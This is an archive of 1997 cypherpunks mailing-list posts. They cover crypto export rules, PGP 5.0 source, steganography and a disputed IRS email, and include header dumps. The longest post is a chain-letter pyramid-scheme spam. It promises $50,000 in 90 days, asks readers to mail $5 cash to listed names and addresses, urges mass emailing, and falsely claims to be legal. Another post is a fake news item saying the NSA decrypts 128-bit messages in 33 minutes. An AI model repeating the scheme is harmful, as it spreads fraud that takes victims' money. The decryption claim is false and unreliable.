felonies were later dismissed, and Bell was allowed to plead guilty
to a misdemeanor and pay a $2,500 fine.

----- End of forwarded message from IRS Inspection -----


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: n/a <rthom07@ibm.net>
Date: Sun, 20 Jul 1997 07:11:47 +0800
To: <cypherpunks@Algebra.COM>
Subject: From - Tue Jun 24 09:59:29 1997
Message-ID: <18161.235630.75478623 cypherpunks@algebra.com>
MIME-Version: 1.0
Content-Type: text/plain






PLEASE, Read This Twice!!

Dear friend,

================================================
================================================
This is a "ONE-TIME MESSAGE"  you were randomly selected to
receive this.  There is no need to reply to remove, you will receive
no further mailings from us.  If you have interest in this GREAT
INFORMATION,  please do not click reply,  use the contact 
information in this message.  Thank You! :-)
================================================
================================================

             *** Print This Now For Future Reference ***

The following income opportunity is one you may be interested in 
taking a look at.  It can be started with VERY LITTLE investment
and the income return is TREMENDOUS!!!  

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You are about to make at least $50,000 in less than 90 days!  
Please read the enclosed program...THEN READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING
OPPORTUNITY.   It does not require you to come into contact with
people, do any hard work, and best of all, you never have to leave 
the house except to get the mail.  If you believe that someday you'll 
get that big break that you've been waiting for, THIS IS IT!  Simply
follow the instructions, and your dream will come true.  This
multi-level e-mail order marketing program works perfectly...100%
EVERY TIME.  E-mail is the sales tool of the future.  Take advantage
of this non-commercialized method of advertising NOW!!!  The longer
you wait, the more people will be doing business using e-mail.  Get
your piece of this action!!!  

MULTI-LEVEL MARKETING (MLM) has finally gained
respectability.  It is being taught in the Harvard Business School, 
and both Stanford Research and the Wall Street Journal have stated
that between 50% and 65% of all goods and services will be sold
through multi-level methods by the mid to late 1990's.  This is a 
Multi-Billion Dollar industry and of the 500,000 millionaires in the 
U.S., 20% (100,000)  made their fortune in the last several years in
MLM.  Moreover, statistics show 45 people become millionaires
everyday through Multi-Level Marketing. 

The enclosed information is something I almost let slip through my 
fingers.  Fortunately, sometime later I re-read everything and gave 
some thought and study to it.  

My name is Christopher Erickson.  Two years ago, the corporation I 
worked at for the past twelve years down-sized and my position was 
eliminated.  After unproductive job interviews, I decided to open my 
own business.  Over the past year, I incured many unforeseen 
financial problems.  I owed my family, friends and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow 
against my home to support my family and struggling business.  AT
THAT MOMENT something significant happend in my life and I am
writing to share the experience in hopes that this will change your
life FOREVER FINANCIALLY!!!

In mid December, I received this program via e-mail.  Six month's 
prior to receiving this program I had been sending away for 
information on various business opportunities.  All of the programs 
I received, in my opinion, were not cost effective.  They were either 
too difficult for me to comprehend or the initial investment was too 
much for me to risk to see if they would work or not.  One claimed 
that I would make a million dollars in one year...it didn't tell me 
I'd have to write a book to make it!  

But like I was saying, in December of 1995 I received this program.  
I didn't send for it, or ask for it, they just got my name off a 
mailing list. THANK GOODNESS FOR THAT!!!  After reading 
it several times, to make sure I was reading it correctly, I couldn't 
believe my eyes.  Here was a MONEY MAKING PHENOMENON.
I could invest as much as I wanted to start, without putting me 
further into debt.  After I got a pencil and paper and figured it 
out, I would at least get my money back.  After determining the 
program was LEGAL and NOT A CHAIN LETTER, I decided 
"WHY NOT."

Initially I sent out 10,000 e-mails.  It cost me about $15.00 for my 
time on-line.  The great thing about e-mail is that I don't need any 
money for printing to send out the program, only the cost to fulfill 
my orders.  I am telling you like it is, I hope it doesn't turn you 
off, but I promised myself that I would not "rip-off" anyone, no 
matter how much money it cost me!

A good program to help do this is Ready Aim Fire, an e-mail 
extracting and mass mail program.  
At  http://microsyssolutions.com

In less than one week, I was starting to receive orders for REPORT 
#1.  By January 13, I had received 26 orders for REPORT #1.  When
you read the GUARANTEE in the program, you will see that "YOU
MUST RECEIVE 15-20 ORDERS FOR REPORT #1 WITHIN 2
WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL
YOU DO!"  My first step in making $50,000 in 20-90 days was done.
By January 30, I had received 196 orders for REPORT #2.  If you go
back to the GUARANTEE, "YOU MUST RECEIVE 100+ ORDERS
FOR REPORT #2 WITHIN 2 WEEKS.  IF NOT, SEND OUT MORE
PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS,
THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000
GOAL."  Well, I had 196 orders for REPORT #2, 96 more than I
needed.  So I sat back and relaxed.  By March 19, of my e-mailing of
10,000, I received $58,000 with more coming in every day.  

I paid off ALL my debts and bought a much needed new car.  Please 
take time to read the attatched program, IT WILL CHANGE YOUR
LIFE FOREVER!!!  Remember, it won't work if you don't try it.  This
program does work, but you must follow it EXACTLY!  Especially
the rules of not trying to place your name in a different place.  It 
won't work, you'll lose out on a lot of money!  REPORT #2 
explains this. Always follow the guarantee, 15-20 orders for 
REPORT #1, and 100+ orders for REPORT #2 and you will make 
$50,000 or more in 20-90 days.  I AM LIVING PROOF THAT IT 
WORKS!!!

If you choose not to participate in this program, I am sorry.  It 
really is a great opportunity with little cost or risk to you.  If  
you choose to participate, follow the program and you will be on 
your way to financial security.  

If you are a fellow business owner and are if financial trouble like 
I was, or you want to start your own business, consider this a sign. 
I DID!
                                               Sincerely,             

                                               Christopher Erickson   


P.S. Do you have any idea what 11,700  $5 bills ($58,000) look like 
piled up on a kitchen table?  IT'S AWESOME!



A PERSONAL NOTE FROM THE ORGINATOR OF THIS
PROGRAM:
By the time you have read the enclosed program and reports, you
should have concluded that such a program, and one that is legal, 
could not have been created by an amateur.  

Let me tell you a little about myself.  I had a profitable business 
for 10 years.  Then in 1979 my business began falling off.  I was 
doing the same things that were previously successfull for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy.  Inflation and recession had replaced the stable economy
that had been with us since 1945.  I don't have to tell you what 
happend to the unemployment rate... because many of you know from 
first hand experience.  There were more failures and bankruptcies 
than ever before. 

The middle class was vanishing.  Those who knew what they were
doing invested wisely and moved up.  Those who did not, 
including those who never had anything to save or invest, were 
moving down into the ranks of the poor.  As the saying goes, 
"THE RICH GET RICHER AND THE POOR GET POORER."  The
traditional methods of making money will never allow you to "move
up" or "get rich", inflation will see to that.

You have just received information that can give you financial 
freedom for the rest of your life, with "NO RISK" and "JUST A
LITTLE BIT OF EFFORT."  You can make more money in the next
few months than you have ever imagined.  

I should also point out that I will not see a penny of this money, 
nor anyone else who has provided a testimonial for this program.  I 
have already made over 4 MILLION DOLLARS!  I have retired from
the program after sending out over 16,000 programs.  Now I have 
several offices that make this and several other programs here and 
over seas.  By the spring we wish to market the "internet" by a 
partnership with AMERICA ON LINE.  

Follow the program EXACTLY AS INSTRUCTED.  Do not change
it in any way.  It works exceedingly well as it is now.  Remember to 
e-mail a copy of this exciting report to everyone you can think of.  
One of the people you send this to may send out 50,000...and your 
name will be on everyone of them!  Remember though, the more you
send out the more potential customers you will reach.  

So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent, IT IS UP TO YOU 
NOW!



"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, 
take a little time to read it and REALLY THINK ABOUT IT.  Get a 
pencil and figure out what could happen when YOU participate. 
Figure out the worst possible response and no matter how you 
calculate it, you will still make a lot of money!  You will 
definitely get back what you invested.  Any doubts you have will 
vanish when your first orders come in.  IT WORKS!                    
                                     Paul Johnson, Raleigh, NC



HERE'S HOW THIS AMAZING PROGRAM WILL MAKE
YOU $$$$$
Let's say that you decide to start small, just to see how it goes, 
and we'll assume you and all those involved send out only 2,000 
programs each.  Let's also assume that the mailing receives a 0.5% 
response.  Using a good list the response could be much better.
Also many people will send out hundreds of thousands of programs 
instead of 2,000.  But continuing with this example, you send out 
only 2,000 programs.  With a 0.5% response, that is only 10 orders 
for REPORT #1.  Those 10 people respond by sending out 2,000 
programs each for a total of 20,000.  Out of those 0.5%, 100 people 
respond and order REPORT #2.  Those 100 mail out 2,000 programs 
each for a total of 200,000.  The 0.5% response to that is 1,000 
orders for REPORT #3.  Those 1,000 send out 2,000 programs each
for a 2,000,000 total.  The 0.5% response to that is 10,000 orders 
for REPORT #4.  That's 10,000 $5 bills for you.  CASH!!! Your
total income in this example is $50 + $500 + $5,000 + $50,000 for
a total of $55,550!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 
2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY 
NOTHING AND TRASH THIS PROGRAM!  DARE TO THINK 
FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, 
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000.
Believe me, many people will do just that, and more!  By the way, 
your cost to participate in this is practically nothing.  You 
obviously already have an internet connection and e-mail is FREE!!!
REPORT #3 will show you the best methods for bulk e-mailing and 
obtaining e-mail lists. 



INSTRUCTIONS:
We at Erris Mail Order Marketing Businesses, have a method of 
raising capital that REALLY WORKS 100% EVERYTIME.  I am 
sure that you could use $50,000 to $125,000 in the next 20-90 days. 
Before you say "BULL... ", please read this program carefully.  

This is not a chain letter, but a perfectly legal money making 
opportunity.  Basically, this is what you do:  As with all 
multi-level business, we build our business by recruiting new 
partners and selling our products.  Every state in the USA allows
you to recruit new multi-level business partners, and we offer a 
product for EVERY dollar sent.  YOUR ORDERS COME AND 
ARE FILLED THROUGH THE MAIL, so you are not involved 
in personal selling.  You do it privately in your own home, store 
or office.  This is the GREATEST Multi-Level Mail Order 
Marketing anywhere: 

Step (1)  Order all four (4) REPORTS listed by NAME AND
NUMBER.  Do this by ordering the REPORT from each of the
four (4) names listed on the next page.  For each REPORT, send 
$5 CASH and a SELF-ADDRESSED STAMPED envelope 
(BUSINESS SIZE #10) to the person listed for the SPECIFIC 
REPORT.  International orders should also include $1 extra for 
postage.  It is essential that you specify the NAME and NUMBER 
of the REPORT requested to the person you are ordering it from.  
You will need ALL FOUR (4) REPORTS because you will be 
REPRINTING and RESELLING them.  DO NOT alter the names
or sequence other than what the instructions say. 

IMPORTANT: Always provide same-day service on all orders.  

Step (2)  Replace the name and address under REPORT #1 with
your's, moving the one that was there down to REPORT #2.  Drop 
the name and address under REPORT #2 TO REPORT #3,  moving 
the one that was there to REPORT #4.  The name and the address 
that was under REPORT #4 is dropped from the list and this party 
is no doubt on the  way to the bank.  When doing this, make certain
you type the names and addresses ACCURATELY!!!  DO NOT 
MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

Step (3) Having made the requested changes in the NAME list, save
it as text (.txt) file in it's own directory to be used with whatever 
e-mail program you like.  Again, REPORT #3 will tell you the best 
methods of bulk e-mailing and acquiring e-mail lists.  

Step (4)  E-mail a copy of the entire program (all of this is very 
important) to everyone whose address you can get your hands on.  
Start with friends and relatives since you can encourage them to take
advantage of this fabulous money-making opportunity.  That's what I 
did.  And they love me now, more than ever.  Then, e-mail to anyone 
and everyone!  Use your imagination!  You can get e-mail addresses 
from companies on the internet who specialize in e-mail mailing 
lists.  These are very cheap, 100,000 addresses for around $35.  

IMPORTANT:  You won't get a good response if you use an old
list, so always request a FRESH, NEW list.  You will find out where
to purchase these lists when you order the four (4) REPORTS.  

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!



REQUIRED REPORTS:
***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE 
SPECIFIC REPORT BY NAME AND NUMBER.

____________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:
T.T.
226 Commissary Rd. Box 3453
Abilene, Tx  79607
____________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:  

GC Internet Services
4343 Chandler
San Antonio, TX 78222-4812
____________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Somruthai Hayashi	
2168 S. Atlantic Blvd. #101
Monterey Park, CA 91754
____________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Kal Inc.
P.O. Box 2433
Glenview, IL. 60025-2433
_____________________________________________________


CONCLUSION:
I am enjoying my fortune that I made by sending out this program.  
You too, will be making money in 20-90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial 
decisions as never before.  Go into business, get into investments, 
retire or take a vacation.  No longer will a lack of money hold you 
back.

However, very few people reach financial independence, because
when opportunity knocks, they choose to ignore it.  It is much 
easier to say "NO" than "YES", and this the question that you must 
answer.  Will YOU ignore this amazing opportunity or will you 
take advantage of it?  If you do nothing, you have indeed missed 
something and nothing will change.  Please re-read this material, 
this is a special opportunity.  If you have any questions, please 
feel free to write to the sender of this information.  You will get a 
prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 
that cost me pennies to produce and e-mail.  I should also point out 
that this program is LEGAL and everyone who participates WILL
make money.  This is not a chain letter or a pyramid scam.  At times 
you probably received chain letters, asking you to send money, on 
faith, but getting NOTHING in return, NO product what-so-ever!  
Not only are chain lettters illegal, but the risk of someone breaking 
the chain  makes them quite unattractive.

You are offering a legitimate product to your people.  After they 
purchase the product from you, they reproduce more and resell them.  
It's simple free enterprise.  As you learned from the enclosed 
material, the PRODUCT is a series of four (4) FINANCIAL AND
BUSINESS REPORTS.  The information contained in these
REPORTS will not only help you in making your participation in 
this program more rewarding, but will be useful to you in any other 
business decisions you make in the years ahead.  You are also 
buying the rights to reprint all of the REPORTS, which will be 
ordered from you by those to whom you mail this program.  The 
concise one and two page REPORTS you will be buying can easily 
be reproduced at a local copy center for a cost of about 3 cents a
copy.  Best wishes with the program and Good Luck!










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hayden-0797-EMP-HSE <rhayden@orion.means.net>
Date: Sun, 20 Jul 1997 12:19:10 +0800
To: Cypherpunks Mailing List <cypherpunks@cyberpass.net>
Subject: NSA leak (fwd)
Message-ID: <Pine.SOL.3.95.970719232017.28206B-100000@orion.means.net>
MIME-Version: 1.0
Content-Type: text/plain



Say this on the Fight Censorship list.  Just FYI.

---------- Forwarded message ----------
Date: 19 Jul 1997 17:56:51 -0000
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
To: fight-censorship@vorlon.mit.edu
Subject: NSA leak

WASHINGTON (AP) - In a rare moment of openness bordering on glibness, a
senior official at the super-secret National Security Agency was overheard
at a White House press conference concerning current bans on the export of
encryption technology saying, "It would not take any twelve times the age of
the universe to decrypt a 128-bit message.  Thirty-three minutes is more
like it."

Observers at the press conference indicated that the senior official's
remarks were intended to be overheard by those standing nearby, who included
White House officials, reporters, and a troupe of girl scouts from Lundane,
Illinois.







 
=-=-=-=-=-=
Robert Hayden					rhayden@means.net
IP Network Administrator			(612) 230-4416
MEANS Telcom





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Blanc" <blancw@cnw.com>
Date: Sun, 20 Jul 1997 14:29:42 +0800
To: <cypherpunks@toad.com>
Subject: Re: (Fwd) Something of Interest
Message-ID: <199707200622.XAA18842@baker.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



From: jf_avon

|I received this out of the blues.  I suppose that you received it
|too.
...........................................................


 I didn't receive it, and I set off quite a round of discussion with Jim & the
list, at one point.   Guess I'm not considered controversial enough to get it.
:>)

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Sun, 20 Jul 1997 11:39:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP 5.0 source available (but not online yet) 2nd Edition
In-Reply-To: <199707161413.HAA14531@cypherpunks.ca>
Message-ID: <97Jul19.233439edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



For those with the source, (mine says july 9, 1997 and isbn 09649654-8-8
so it may be a variant - it also says second edition) check out page 1342
around the words "Key Recovery" near the top of the page in the pgpMakeSig
routine.  I know, it is only for future corporate key recovery ;).

Also, having 16 bytes for salt and iv fields which are supposed to be
"random" can hide a large amount of other data. 

On Wed, 16 Jul 1997, Ian Goldberg wrote:

> I received a copy of the latest source (12 volumes) from a PGP, Inc. rep
> at the July Bay Area Cypherpunks Open Meeting on US Soil (12 July on Stanford
> campus).
> 
> You can order your own copies through Printers, Inc.:
> 
>   Printers, Inc.
>   301 Castro St.
>   Mountain View, CA. 94041
>   (415) 961-8500
>   <http://www.pibooks.com>
> 
>   PGP 5.0 Platform Independent Source Code
>    Five Volumes, $94.00   ISBN 099649654-5-3
> 
>   PGP 5.0 Win95 Source Code
>    Three Volumes, $57.00  ISBN 099649654-6-1
> 
>   PGP 5.0 Mac Source Code
>    Four Volumes, $82.00   ISBN 099649654-7-X
> 
>    - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Sun, 20 Jul 1997 07:53:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <5qrjmb$nma@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In article <33D04A75.31E08282@netscape.com>,
Tom Weinstein <tomw@netscape.com> wrote:
>amp@pobox.com wrote:
>> 
>>> There's nothing preventing another CA from getting permission from
>>> the USG to issue these magic certs.  We would have to distribute a
>>> patch, but I don't see any problem with that.
>> 
>> uh, why does one need permission of the usg to issue "magic certs"?
>
>Because issuing these certs is defined as a "defense service".

It is in no way a defense service for Ian's Certificate Authority to issue
a digital certificate to Steve's Offshore Laundry, Inc. that basically
says "I think communications to the holder of this cert should use 128-bit
encryption.", even if it uses the same V3 extension that Verisign uses.

Now, if some company were to sell a browser overseas that enabled 128-bit
encryption when it saw _any_ cert with this extension (or even any such
cert from a CA in the user's trusted CAs list), I'd say it's the browser
company that's supplying the encryption, not the CA; the CA just issued
a signed statement of fact/opinion.

It would seem to me, though, that the only reason Netscape was able to
release a browser with the "128-bit-if-Verisign-magic" mode overseas
was that the USG had gotten Verisign to agree that it wouldn't issue
Verisign-magic certs to "alledged terrorists", etc.  If Verisign renegs
on the agreement, and issues the Verisign-magic certs to left-handed
albino money-laundering aliens, they'd be in violation of whatever
they signed with the USG, but certainly not in violation of the crypto
export regs (which, now that they're under Commerce, I'm not sure even have
a "defense service" category anymore).

So in answer to the original question (IMHO), you don't need the permission
of the USG to issue "magic" certs (ones with the V3 extension).  It's just
that browser companies won't be allowed to make browsers that turn on
strong encryption for _your_ "magic" certs unless the USG trusts you
not to give such certs to just anybody.

Contrasting this situation with Microsoft signing CAPI modules is left
as an exercise for the reader.

   - Ian "I believe that the bearer of this signed message should be entitled
          to use as strong crypto as he likes."

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar <sar@cynicism.com>
Date: Sun, 20 Jul 1997 12:59:52 +0800
To: Mismatched NFS IDs <cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <v03110705aff564f7cc98@[139.167.130.247]>
Message-ID: <3.0.2.32.19970719235239.007daeb0@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:10 PM 7/19/97 -0400, you wrote:
>On Fri, 18 Jul 1997, Robert Hettinga wrote:
>
>> At 1:33 pm -0400 on 7/18/97, Tim May wrote:
>> 
>> <an excellent description of the industrial strength software bloat which
>> now afflicts the browser market>
>> 
>> "The Geodesic Network, OpendDoc, and CyberDog"
>> http://www.shipwright.com/rants/rant_03.html is the first rant I wrote on
>> <ducking> geodesic </d> software. It ended up in a much(!) shorter form as
>> a full-page opinion piece in InfoWorld two years ago this October.
>> Actually, it's about what happened to me at MacWorld almost exactly two
>> years ago.
>...
>> The software those computers use will not be hard-wired, it will be
>> flexible and upgradable. It will be 'out of control'. It will be geodesic,
>> like the network itself.
>> 
>> Cheers,
>> Bob Hettinga
>
>I think that depends on what people start adopting.  If you want
>"geodesic" software, use Linux.  Pieces are there from every continent,
>and all any business needs to do to have a driver and applications written
>for any hardware is to release the spec.  It is flexible and upgradable
>and 'out of control', and is developed on the internet.  Interestingly
>enough, the only stego-crypto "device" I know of is the linux loop device.
>
>There are some crypto plugins for MS, but nothing I know of will bury your
>info encrypted with DES or IDEA in the lsbs of a .wav file.


take a look at  http://members.iquest.net/~mrmil/stego.html it has
steganography programs for win95,dos,mac and amiga. as well as links to
other stego pages and a paper on " covert channels in the tcp/ip suite" 

 



>
>The other interesting thing is that the bloatware is only possible BECAUSE
>of Moore's law.  Windows really needs 16Mb, a big hard drive, and a fast
>pentium, and it is nice that the price point (around $2k) of the new
>machines are about right for each release of a new MS product.  But even
>if cpu-memory power (and price per bit sent over the internet) keeps
>doubling, the complexity of code is growing exponentially too.  Or was
>growing - I think it has past the point where they can add code to the
>blob and have it work.
>
>If you are right, then there should be a shift from MS to Linux or
>FreeBSD.  Especially if the Wabi32 or Wine projects succeed :).
>
>--- reply to tzeruch - at - ceddec - dot - com ---
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 20 Jul 1997 16:44:53 +0800
To: "Blanc" <cypherpunks@toad.com>
Subject: Re: (Fwd) Something of Interest
In-Reply-To: <199707200622.XAA18842@baker.cnw.com>
Message-ID: <3.0.2.32.19970720005348.00704074@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:31 PM 7/19/97 -0700, Blanc wrote:
> I didn't receive it, and I set off quite a round of discussion with Jim &
the
>list, at one point.   Guess I'm not considered controversial enough to get
it.

That makes two of us. BTW, I am still not convinced that these emails
originated with the IRS. It just doesn't sound right.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 20 Jul 1997 14:43:15 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: (Fwd) Something of Interest (fwd)
Message-ID: <199707200628.BAA08519@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,


I would like to add one thing, jf_avon@ssz.com doesn't exist as a valid user
account or alias on any ssz.com system.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


Forwarded message:
> From owner-cypherpunks@ssz.com Sun Jul 20 01:15:32 1997
> Message-Id: <199707200622.XAA18842@baker.cnw.com>
> From: "Blanc" <blancw@cnw.com>
> To: <cypherpunks@toad.com>
> Subject: Re: (Fwd) Something of Interest
> Date: Sat, 19 Jul 1997 23:31:08 -0700
> MIME-Version: 1.0
> Content-Type: text/plain;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: 7bit
> X-Priority: 3
> X-MSMail-Priority: Normal
> X-Mailer: Microsoft Outlook Express 4.71.0913.4
> X-MimeOle: Produced By Microsoft MimeOLE Engine V4.71.0913.6
> Sender: owner-cypherpunks@ssz.com
> Precedence: bulk
> X-Mailing-List: cypherpunks@ssz.com
> X-List-Admin: list@ssz.com
> X-Loop: ssz.com
> From: jf_avon@ssz.com
> 
> |I received this out of the blues.  I suppose that you received it
> |too.
> ...........................................................
> 
> 
>  I didn't receive it, and I set off quite a round of discussion with Jim & the
> list, at one point.   Guess I'm not considered controversial enough to get it.
> :>)
> 
>     ..
> Blanc
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Sun, 20 Jul 1997 17:54:04 +0800
To: cypherpunks@Algebra.COM
Subject: New Cypher ListServ  (part 1)
Message-ID: <199707200949.CAA13378@f78.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



I recently purchased my own domain called CyberSpaceTechnologies.com, 
and with it I recieved the ability to own and operate a ListServ of my 
own. I will continue to be a member of this one.                             
Yet in order to make sure that we may always have a place from which to 
discuss this most important of issues, I have started the 
Cryptography-Politics-PGP-L listserv. This listserv will be up in 
approximately 72 - 96 hours hopefully. Those of you with long time 
experience with listservs, and those that have run them before, I would 
be honored to hear from you on the best way to run this. I have decided 
beforehand that it would be an unmoderated list. The ONLY monitoring 
that I will do, is to glean email addresses and upstream server 
addresses from spam messages for the purpose of notifying offenders that 
such actions are not wanted or tolerated on this list. I hereby pledge 
that in no way shape or form, will I passively allow spammers or other 
entities to use email addresses from this list for ANYTHING without 
first getting permission from the email address owner. If ANYONE sees 
that happen, PLEASE notify me IMMEDIATELY! I want this list to be a 
place where open discussion of this issue may take place regardless of 
age, sex, creed, religion, experience, or lack thereof. We are a 
community of believers, believers in the right to freedom, privacy, and 
the ability to remain an idividual.  The only thing I ask, and this is a 
request not a demand, is that all list members treat new and old members 
with the level of respect and courtesy that you would expect for 
yourself, if not better. Not much to ask, I don't think.

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sun, 20 Jul 1997 15:18:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Cypherpunk U
In-Reply-To: <v03102815aff6f510fe24@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970720030640.20467A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 19 Jul 1997, Tim May wrote:

> If the former, look for where the papers that interest you are coming from.
> That is, whom do you want to work with? UC Berkeley is obviously doing
> interesting work, Purude has some well known folks, and Carnegie-Mellon is
> in the home city of CERT (maybe not a recommendation...). And Stanford is
> always a hotbed. At least a dozen other places are doing fine work.

You do realize that CERT is run by the Software Engineering Institute, a
division/center/something run by Carnegie-Mellon, right?

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Sun, 20 Jul 1997 11:37:24 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Bean IRS for Another $250,000
In-Reply-To: <1.5.4.32.19970719182921.006c9cb0@pop.pipeline.com>
Message-ID: <Pine.LNX.3.96.970720032713.20526G-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 19 Jul 1997, John Young wrote:

> There are four messsage IDs, one of which matches that of Alan Olsen
> (Number 2 below at 12:29).

I never posted my headers, because I didn't realize things were so, er,
far-sweeping.

Note multiple `forwards' are normal; the message was directed to an old
address "dsmith@prairienet.org", which forwards to corsica.shorelink.com
(my domain's UUCP host and gracious MX), which forwards to my home.

Header set 5:

- From irsnwpr@net.insp.irs.gov Sun Jul 20 03:27:01 1997
Return-Path: <corsica!net.insp.irs.gov!irsnwpr>
Received: from corsica.UUCP (dave@localhost)
	by bureau42.ml.org (8.8.6/8.8.6) with UUCP id BAA11971
	for dave; Sat, 19 Jul 1997 01:08:24 GMT
Received: from pnet1.prairienet.org ([192.17.3.31]) by corsica.shorelink.com
	 with esmtp id m0wpLsk-000yWvC
	(Debian Smail-3.2 1996-Jul-4 #2); Fri, 18 Jul 1997 15:52:14 -0700 (PDT)
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by pnet1.prairienet.org (8.8.5/8.8.5) with SMTP id RAA24521
	for <dsmith@prairienet.org>; Fri, 18 Jul 1997 17:51:13 -0500 (CDT)
Received: by tcs_gateway1.treas.gov id AA19664
  (InterLock SMTP Gateway 3.0 for dsmith@prairienet.org);
  Fri, 18 Jul 1997 18:47:53 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:47:53 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:47:53 -0400
Date: Thu, 17 Jul 1997 12:30:03 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171630.MAA02739@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM9GGKHEZTZHwCEpFAQF8jAf+O5fDxVqjNDGWBCVKOJdodTo6ddkMWUcn
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3c3XnPSkeLlVD/RCGQxvQwf/XWGyGVOVF33MV1c4lGTu/+LAjVenDXfC6Ggk3lml
x1pNMi27Je1oPazLskZLK43i5uBwKto3bdA0WVvHiNwnGk1xFyyN9tnpjoRkeiyS
